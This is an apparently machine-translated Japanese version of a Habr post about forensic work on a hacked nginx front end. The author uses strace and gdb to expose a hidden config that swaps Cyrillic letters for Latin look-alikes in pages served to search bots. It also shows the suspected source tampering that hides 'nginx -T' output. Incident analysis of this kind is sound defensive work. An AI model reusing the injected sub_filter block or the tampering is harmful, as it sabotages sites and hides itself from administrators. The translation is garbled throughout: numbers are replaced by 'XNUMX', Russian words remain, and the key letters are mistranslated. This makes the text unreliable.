「a」が「a」と等しくない場合。 ハッキングを受けて

最も不愉快な話が私の友人の一人に起こりました。 しかし、それはミハイルにとって不快なものであったように、私にとっても同じくらい楽しかったです。

私の友人はかなり良いと言わざるを得ません UNIX-user: 自分でシステムをインストールできます mysqlの, PHP そして簡単な設定を行います nginx.
そして、彼は構築ツールに特化した Web サイトを XNUMX ~ XNUMX 個持っています。

チェーンソーに特化したこれらのサイトの XNUMX つは、検索エンジンのトップにしっかりと座っています。 このサイトは非営利のレビュアーですが、誰かがそれを攻撃する癖がついてしまいました。 それ DDoS攻撃、次にブルートフォース、そして彼らはわいせつなコメントを書き、ホスティングとRKNに悪口を送ります。
突然、すべてが静まり返りましたが、この静けさは良くないことが判明し、サイトは徐々に検索結果の上位から外れ始めました。

「a」が「a」と等しくない場合。 ハッキングを受けて

それは一言であり、管理者の物語そのものでした。

就寝時間が近づいていたとき、電話が鳴りました。「さん、私のサーバーを見てくれませんか?」 ハッキングされたような気がしますが、それを証明することはできませんが、その感覚はXNUMX週間目でも消えませんでした。 もしかしたら、パラノイアの治療を受ける時期が来たのかもしれない?」

続いてXNUMX分間のディスカッションが行われ、その概要は次のとおりです。

  • ハッキングのための土壌は非常に肥沃でした。
  • 攻撃者がスーパーユーザー権限を取得する可能性があります。
  • 攻撃 (発生した場合) は特にこのサイトをターゲットとしたものでした。
  • 問題のある領域は修正されているので、侵入があったかどうかを理解するだけで済みます。
  • ハッキングはサイトのコードやデータベースに影響を与える可能性はありません。

最後の点について。

「a」が「a」と等しくない場合。 ハッキングを受けて

白いフロントエンド IP だけが世界を見渡せます。 http を除いてバックエンドとフロントエンドの間での交換はなく、ユーザー/パスワードは異なり、キーは交換されません。 グレーのアドレスでは、80/443 を除くすべてのポートが閉じられます。 ホワイト バックエンド IP は、Mikhail が完全に信頼している XNUMX 人のユーザーだけが知っています。

フロントエンドにインストールされる Debian 9, XNUMX, XNUMX そして、呼び出しが行われるまでに、システムは外部ファイアウォールによって世界から隔離され、停止します。

「分かった、アクセスを許可して」私は睡眠を XNUMX 時間延期することにしました。 「自分の目で見てみます。」

こことさらに:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

ハッキングの可能性を探しています

最初にサーバーを起動します レスキューモード。 ディスクをマウントしてめくる 認証-ログ、 history、システムログなど、可能な限りファイルの作成日をチェックしますが、通常のクラッカーなら自分の後に「掃討」し、ミーシャは自分を探している間にすでにかなり「踏みつけ」ていたことは理解していますが、 。

私は通常モードで開始しますが、何を探せばよいのかまだよく理解していないので、構成を調べます。 まず、興味があるのは、 nginx 一般に、フロントエンドにはそれ以外に何もないからです。
構成ファイルは小さく、XNUMX 個のファイルによく構造化されているので、ざっと目を通すだけです 猫'ああ、一つ一つ。 すべてがきれいになっているように見えますが、何かを見逃したかどうかはわかりません include完全なリストを作成しましょう。

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

「リストはどこにあるの?」と理解できませんでした。

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

リストの質問に XNUMX 番目の質問が追加されます。「なぜそのような古いバージョンの nginx なのでしょうか?」

さらに、システムは最新バージョンがインストールされていると認識します。

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

私が呼んでいるのは:
- ミーシャ、なぜ再集結したのですか nginx?
- 待って、私もやり方がわかりません!
- わかりました、まあ、寝てください...

nginx これは明らかに再構築されており、「-T」を使用したリストの出力は何らかの理由で非表示になっています。 ハッキングについてはもはや何の疑いもなく、単純にそれを受け入れて(とにかくミーシャがサーバーを新しいものに交換したので)問題は解決したと考えることができます。

そして確かに、誰かが権利を手に入れたので、 ルート「ああ、それならそうするのが理にかなっている」 システムの再インストール、そこで何が問題なのかを探しても無駄でしたが、今回は好奇心が睡眠に勝ちました。 彼らが私たちに何を隠したかったのかをどうやって知ることができるのでしょうか?

トレースしてみましょう:

$ strace nginx -T

見てみると、明らかにトレース内の線が足りません。

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

楽しみのために、結果を比較してみましょう。

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

コードの一部だと思います /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

次のような形式になりました。

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

または

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

したがって、「-T」によるリストは表示されません。

しかし、構成を表示するにはどうすればよいでしょうか?

私の考えが正しく、問題が変数にのみある場合 ngx_dump_config を使用してインストールしてみましょう GDB、幸いなことに鍵があります --with-cc-opt -g 現在、最適化されることを願っています -O2 それは私たちに害を及ぼすことはありません。 同時に、やり方がわからないので、 ngx_dump_config で処理できます ケース「T」:、このブロックを呼び出すことはありませんが、次を使用してインストールします。 ケース「t」:

「-T」だけでなく「-t」も使用できる理由ブロック処理 if(ngx_dump_config) 内部で起こる if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

もちろん、コードがこの部分ではなく変更された場合、 ケース「T」:、その場合、私の方法は機能しません。

nginx.confをテストするこの問題はすでに実験的に解決されており、マルウェアが動作するには最小限の構成が必要であることが判明しました。 nginx タイプ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

記事内では簡潔にするためにこれを使用します。

デバッガを起動する

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

段階的に:

  • 関数にブレークポイントを設定する メイン()
  • プログラムを起動する
  • 構成の出力を決定する変数の値を変更します。 ngx_dump_config=1
  • プログラムを継続/終了する

ご覧のとおり、実際の構成は私たちのものとは異なります。そこから寄生部分を選択します。

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

ここで何が起こっているのかを順番に見てみましょう。

決まっている ユーザエージェントの yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

サービスページは対象外となります ワードプレス:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

そして、上記の両方に該当する方には、

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

本文中 HTML- ページが変わります 「お」 на 「お」 и 「あ」 на 「a」:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

そうです、唯一の微妙な点はそれです 'a' != 'a' 同様に 'o' != 'o':

「a」が「a」と等しくない場合。 ハッキングを受けて

したがって、検索エンジンのボットは、通常の 100% キリル文字のテキストの代わりに、ラテン語で希釈された修正されたゴミを受け取ります。 「a」 и 「お」。 これが SEO にどのような影響を与えるかについてはあえて議論しませんが、このような文字のごちゃ混ぜが検索結果の順位に良い影響を与えるとは考えにくいです。

何と言うか、想像力のある人たちよ。

リファレンス

GDB を使用したデバッグ
gdb(1) — Linux マニュアル ページ
strace(1) — Linux マニュアル ページ
Nginx - モジュール ngx_http_sub_module
のこぎり、チェーンソー、電動のこぎりについて

出所: habr.com

コメントを追加します